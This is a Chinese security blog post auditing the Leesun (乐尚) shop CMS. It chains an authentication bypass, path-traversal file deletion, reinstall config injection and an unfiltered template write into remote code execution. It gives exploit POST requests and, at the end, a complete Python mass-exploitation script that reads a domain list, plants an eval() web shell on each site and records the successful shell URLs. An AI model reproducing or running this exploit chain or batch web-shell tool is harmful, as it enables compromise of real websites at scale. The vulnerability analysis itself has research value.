[代码审计]乐尚商城 GetShell

作者: Luan 分类: 代码审计 发布时间: 2017-04-01 15:07

在补天提交过,九零发过,搬到自己博客记录下。

0x01 越权漏洞

漏洞文件:

/admin/controls/common.class.php

function init(){
            if(!(isset($_SESSION['admin']["isLogin"]) && $_SESSION['admin']["isLogin"]==true)){
                $this->redirect("index/index");
            }
            
            $model=$_GET['m'];
            $action=$_GET['a'];
            $adminNode=D("Adminnode","admin");
            $adminGroup=D("Admingroup","admin");
            $nodeId=$adminNode->get($model,$action);
            if($nodeId){
                $g_datas=$adminGroup->load($_SESSION['admin']["group_id"]);
                $auth=unserialize(htmlspecialchars_decode($g_datas['auth']));
               
                if(!in_array($nodeId,$auth)){
                    $this->error("您无权操作!", 2);
                }
            }
        }

程序判断下是否登录后,调用redirect(“index/index”);

跟踪:

        function redirect($path, $args=""){
            $path=trim($path, "/");
            if($args!="")
                $args="/".trim($args, "/");
            if(strstr($path, "/")){
                $url=$path.$args;
            }else{
                $url=$_GET["m"]."/".$path.$args;
            }

            $uri=B_APP.'/'.$url;
            //使用js跳转前面可以有输出
            echo '<script>';
            echo 'location="'.$uri.'"';
            echo '</script>';
        }

就是直接输出JS跳转。也就是说只要禁用了JS,就绕过了第一个判断。

第二个判断就是SQL查询请求的操作,返回所需要的权限。

        function get($m,$a){
            $datas=$this-&gt;where(array("model"=&gt;$m,"action"=&gt;$a))-&gt;select();
            return $datas[0]['id'];
        }

然后和session中的权限比较,如果权限不够就调用Error函数,同时也结束了程序。这里不能像上面那样绕过了。

但如果SQL查询结果是空。就能通过这层判断。我没想到什么绕过方法,所以就只能找缺漏了。查看那张表

大部分模块的操作里面需要权限的基本只有mod ,add ,del .而其他的操作都是不需要权限的,也就是那条SQL查询会返回空。

0x02 任意文件删除

漏洞文件:
/admin/controls/backup.class.php

        function dels(){
            $bu=D("Backup");
            $id=$_POST['id'];
            if(!count($id)){
                $this-&gt;error("请选择删除项目", 1);
            }
            if($bu-&gt;dels($id)){
                $this-&gt;clear_cache();
                $this-&gt;success("删除成功!", 1, "backup/index");
            } else {
                $this-&gt;error("删除失败!", 1, "backup/index");
            }
        }

首先这里的操作是dels。不是del。(del操作也有任意文件删除的洞。。)因为在ls_adminnode表里面没有设置dels操作需要的权限。所以这个函数是不要任何后台权限触发的。

/admin/models/backup.class.php

        function dels($id){
            $num=0;
            $n=count($id);
            foreach($id as $v){
                $filename=trim($v);
                $path=PROJECT_PATH."backup/".$filename;
                if(Simfile::delete($path)){
                    $num++;
                }
            }
            if($n==$num){
                return true;
            }
            return false;
        }

id参数没有任何过滤就直接遍历删除了。
因此可以直接删除掉install_lock.txt,然后、、、

0x03 重装getshell

文件:
/install/paras.php

    ............
    if(isset($_POST['submit'])){
        $dbhost=trim($_POST['dbhost']);
        $dbuser=trim($_POST['dbuser']);
        $dbname=trim($_POST['dbname']);
        $dbpass=trim($_POST['dbpass']);
        $dbpre=trim($_POST['dbpre']);
        if(!isset($_POST['is_default'])){
             $_POST['db_list']="default_db.sql";
        }
        if($dbhost == '' || $dbname == ''|| $dbuser== ''|| $dbpre == ''|| $_POST['admin_password'] == '' || $_POST['confirm_pass'] == '' ){
            $m="参数不完整,请填写完整";
            echo "<script>mess('{$m}');</script>";
        } elseif($_POST['admin_password']!=$_POST['confirm_pass']){
            $m="两次密码不一致";
            echo "<script>mess('{$m}');</script>";
        }/*elseif (mysql_get_server_info()&lt;5.0) {
            $m="请选择MYSQL5以上版本";
            echo "<script>mess('{$m}');</script>";
        }*/elseif(!$db = @mysql_connect($dbhost, $dbuser, $dbpass)){
            $m="连接数据库错误,请核对信息是否正确";
            echo "<script>mess('{$m}');</script>";
        }else{
            if(change_config()){
                $bd=build_database($_POST);
                if($bd['status']){
                    file_put_contents("./install_lock.txt", "CMS INSTALL OK ...");
                    echo "<script>window.location.href='success.php'</script>";
                } else {
                    echo "<script>window.location.href='error.php?mess=".$bd['mess']."'</script>";
                }
            } else {
                $mess=urlencode("写入配置文件错误");
                echo "<script>window.location.href='error.php?mess=".$mess."'</script>";
            }
        }
    ..........
   
    function change_config(){
            $configArray=array("HOST"=&gt;trim($_POST['dbhost']),
                               "USER"=&gt;trim($_POST['dbuser']),
                               "PASS"=&gt;trim($_POST['dbpass']),
                               "DBNAME"=&gt;trim($_POST['dbname']),
                               "TABPREFIX"=&gt;trim($_POST['dbpre'])
                               );
            $filename="../config.inc.php";
            $configText = file_get_contents($filename);
            foreach($configArray as $key =&gt; $val) {
                $pattern[]='/define\(\"'.$key.'\",\s*.+\);/';
                $repContent[]='define("'.$key.'", "'.$val.'");';
            }
            $configText = preg_replace($pattern, $repContent, $configText);
            return file_put_contents($filename, $configText);
    }

安装程序在验证完数据库连接信息可用后,就直接将信息写入了config文件。即便是后面步骤不成功。

而且写入配置文件的时候,是使用双引号包含变量,双引号在提交的时候又不会被过滤。所以就可以getshell啦。

0x05 Exploit

1)删除install_lock.txt
http://localhost/admin.php/backup/dels/
POST id[0]=../install/install_lock.txt

2)http://localhost/install/ 重装:

3)Shell:http://localhost/config.inc.php

以上是粗暴的方法。
而且很麻烦,优雅点:
0x06 优雅Getshell
漏洞文件:/admin/controls/code.class.php

        function mod(){
            $file=trim($_POST['name']);
            $dir=trim($_POST['dir']);
            $tpl_content =$_POST['tpl_content'];
            $current_dir=trim($_POST['current_dir']);
            $config=D("Config");
            $config_data=$config-&gt;config_list();
            if($current_dir=="tpl"){
                $filename=dirname(dirname(__FILE__))."/../../"."home/views/".$config_data[0]['template']."/".$dir."/".$file;
            } else {
                $filename=dirname(dirname(__FILE__))."/../../"."home/views/".$config_data[0]['template']."/resource/".$dir."/".$file;
            }
            if(!$handle = @fopen($filename, 'wb')){
                $this-&gt;error("打开目标模版文件失败,请检查模版目录的权限",1);
            }
            if(fwrite($handle, $tpl_content) === false){
                $this-&gt;error('写入目标 $file 失败,请检查读写权限',1);
            }
            fclose($handle);
            $this-&gt;success("编辑成功!", 1);
        }

没有多余的过滤直接写文件了。简单粗暴。直接在tpl_content参数中放入php代码,file参数设置为luan.php就可以getshell了。还能控制dir变量写到不同的目录

去。优雅多了不是么?

exp:

http://127.0.0.1/admin.php/code/mod
POST:
tpl_content=<!–?php phpinfo()?–>&amp;name=luan.php&amp;dir=index/../../../..¤t_dir=tpl

phpinfo()就写在根目录的luan.php里面了。

======================================2017-04-05补充==================================
今天更新博客域名,整理这个文章,顺带想带了以前学python还顺带写了个批量exp:

import urllib 
import urllib2
import sys,getopt,ctypes

def post(url, data): 
    req = urllib2.Request(url)
    data = urllib.urlencode(data)
    #enable cookie 
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 
    try:
        response = opener.open(req, data)
    except urllib2.URLError, e:
        #if hasattr(e,"code"):
            #print e.code
        #if hasattr(e,"reason"):
            #print e.reason
        return "fail"
    else:
        return response.read()
    return "fail"
def exp(url):
    data = {"tpl_content":"<?php @eval($_POST['webfuck_2016']);?>0day test", 'name':'webfuck.php', 'dir':'index/../../../..', 'current_dir':'tpl'}
    post("http://"+url+"/admin.php/code/mod", data)
    try:
        result = urllib2.urlopen("http://"+url+"/webfuck.php").read()
    except urllib2.URLError, e:
        if hasattr(e,"code"):
            return e.code
        if hasattr(e,"reason"):
            return e.reason
        return "fail"
    else:
        if result == "0day test":
            return "getshell ok"
    return "fail"
class Color:
    std_out_handle = ctypes.windll.kernel32.GetStdHandle(-11)
    def print_(self, print_text):
        print print_text  
    def print_green_text(self, print_text):  
        self.set_cmd_color(0x02 | 0x08)  
        print print_text  
        self.reset_color()
    def print_red_text(self, print_text):  
        self.set_cmd_color(0x04 | 0x08)  
        print print_text  
        self.reset_color()
    def reset_color(self):  
        self.set_cmd_color(0x04 | 0x02 | 0x01)  
    def set_cmd_color(self, color, handle=std_out_handle):  
        bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)  
        return bool  
clr = Color()
clr.print_(" Leesun CMS Getshell Zero-Day ")
opts, args = getopt.getopt(sys.argv[1:], "r:")
filename = ""
for op, value in opts:
    if op== '-r':
        filename = value
if filename == "":
    clr.print_red_text("Useage : exp.py -r domain_file.txt")
    exit
else:
    clr.print_("Exploit Working...")
    clr.print_("")
    f = open(filename,"r")
    line = f.readline()
    line=line.strip('\n')
    success=0
    fail=0
    shells = ""
    while line:
        result = exp(line)
        if result == "getshell ok":
            clr.print_green_text("Shell: http://"+ line + "/webfuck.php")
            success += 1
            shells += "http://"+ line + "/webfuck.php\n"
        else:
            clr.print_red_text(line+" getshell failed ("+str(result)+")")
            fail += 1
        line = f.readline()
        line=line.strip('\n')
    f.close()
    clr.print_("")
    clr.print_(str(success)+" website(s) successful getshell   "+str(fail)+" website(s) failed")
    f2 = open("shell.txt","w")
    f2.write(shells)
    f2.close()

当时还想用python重写webfuck来着。。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论